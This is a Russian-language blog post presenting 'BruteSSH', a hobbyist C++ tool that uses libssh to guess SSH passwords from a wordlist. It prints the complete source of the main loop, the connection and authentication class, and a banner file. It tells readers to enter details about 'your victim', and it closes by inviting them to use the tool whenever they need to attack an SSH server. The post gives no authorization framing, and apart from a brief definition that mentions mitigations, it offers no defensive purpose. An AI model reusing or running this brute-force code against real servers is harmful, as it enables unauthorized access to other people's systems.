Введение

Добро пожаловать в мою новую статью, сегодня я покажу вам мой новый инструмент C++, этот инструмент называется BruteSSH, и вы можете догадаться, для чего он нужен, этот инструмент создан для брутфорса SSH-сервера.

Это ссылка на Github:



Что такое SSH-брутфотс?

Информация предоставлена ​​ChatGPT ;)

Перебор SSH — это тип кибератаки, при которой злоумышленник неоднократно пытается угадать учетные данные для входа (имя пользователя и пароль) на сервер SSH (Secure Shell). Злоумышленник использует автоматизированные инструменты для быстрой последовательной проверки различных комбинаций учетных данных в надежде в конечном итоге угадать правильные и получить несанкционированный доступ к серверу. Этот тип атаки можно смягчить, внедрив надежные методы проверки подлинности, такие как двухфакторная проверка подлинности, и ограничив количество попыток входа в систему, которые могут быть предприняты за определенный период времени.

Этот проект — мой первый «серьезный» проект с использованием классов и объектов, и я очень рад сообщить вам, что он очень популярен в моих следующих проектах, это лучший способ разработки, и мне это нравится!

Код

Этот скрипт для брутфорса SSH-серверов, созданный с помощью 3 разных файлов BruteForce.cpp, Host.h и banner.h.

  • BruteForce.cpp: основной файл предназначен для вызова других, в основном он вызывает баннер, затем запрашивает пользователя, IP-сервер, путь списка слов, а затем вызывает функцию readPasswordsFromFile для отправки паролей списка слов на вектор, а затем с помощью цикла for попробуйте подключиться с разными паролями.
#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include "Host.h"
#include "Utils/WordlistToVector.h"
#include "Banner.h"

using namespace std;


int main(){
    ssh_session session;
    int check;
    string ip;
    string user;
    string file;
    cout<<endl;
    banner();
    yellow("\n[+] Provide Information about your victim\n\n");
    cout<<"User: ";
    cin>>user;
    cout<<"IP: ";   
    cin>>ip;
    cout<<"Path of Wordlist: ";
    cin>>file;
    vector<string> passwords = readPasswordsFromFile(file);
    cout<<endl;
    SSHHost ssh_host(ip,user);
    for (int i = 0; i < passwords.size(); i++) {
        session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user);
        printf("Password: %d/%lu\r",i+1,passwords.size());
        fflush(stdout);
        check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]);
        if(check == SSH_AUTH_SUCCESS){
            ssh_disconnect(session);
            break;
        }}
    return 0;
}
  • Host.h: Файл Host в основном содержит один класс с именем SSHHost, этот класс имеет два атрибута, также имеет один метод конструктора, а затем имеет еще два метода, один из которых — SSHConnection, это для выполнения соединение с SSH-сервером, и в последнее время есть последний метод SSHAuth, этот метод пытается аутентифицировать его с помощью имени пользователя и паролей.
#include <iostream>
#include <string>
#include <libssh/libssh.h>
#include "Utils/ColorClass.h"


using namespace std;

class SSHHost{
    public:
        string ip;
        string user;

        SSHHost(string ip,string user){
            this->ip = ip;
            this->user = user;
        }

        ssh_session SSHConnection(string ip, string user){

            ssh_session session = ssh_new();
            ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str());

            int rc = ssh_connect(session);
            if (rc != SSH_OK){
                red("\nServer connection unsuccesfull\n");
                cout<<"Error: "<<ssh_get_error(session) << endl;
            }
            else if(rc == 0){
                return session;
            }
        }

        int SSHAuth(ssh_session session,string user,string password){
            // Authentication
            int rc;
            rc = ssh_userauth_password(session, user.c_str(), password.c_str());
            if (rc != SSH_AUTH_SUCCESS){
            }
            else if (rc ==  SSH_AUTH_SUCCESS) {
                green("Password Found: ");
                cout<<password<<"\n";
            }
            return rc;
        }
    
}; 
  • Banner.h: в основном создает баннер
#include <iostream>
#include <string>

using namespace std;

int banner(){
    cout << "\033[1;31m"; //Este código ANSI cambia el color del texto a rojo
    string border(35, '*');
    cout << border << endl;
    string text = "BruteSSH";
    int center = (35 - text.length()) / 2;
    cout << "" << string(center, ' ') << text << string(center, ' ') << "" << endl;
    cout << border << endl;
    cout << "\033[0m"; //Este código ANSI vuelve al color de texto predeterminado
    return 0;
}

ПОС

Использовать этот инструмент очень просто, вам нужно только запустить инструмент:

Затем ответьте на основные вопросы о вашей жертве и укажите путь к вашему вордлисту.

Теперь он начинает пробовать пароли:

И тогда пароль его основан.

Выводы

Вот и весь мой новый инструмент, надеюсь, он вам понравится и вы будете использовать его, когда вам нужно атаковать один SSH-сервер.

Спасибо, что прочитали это :)

S12.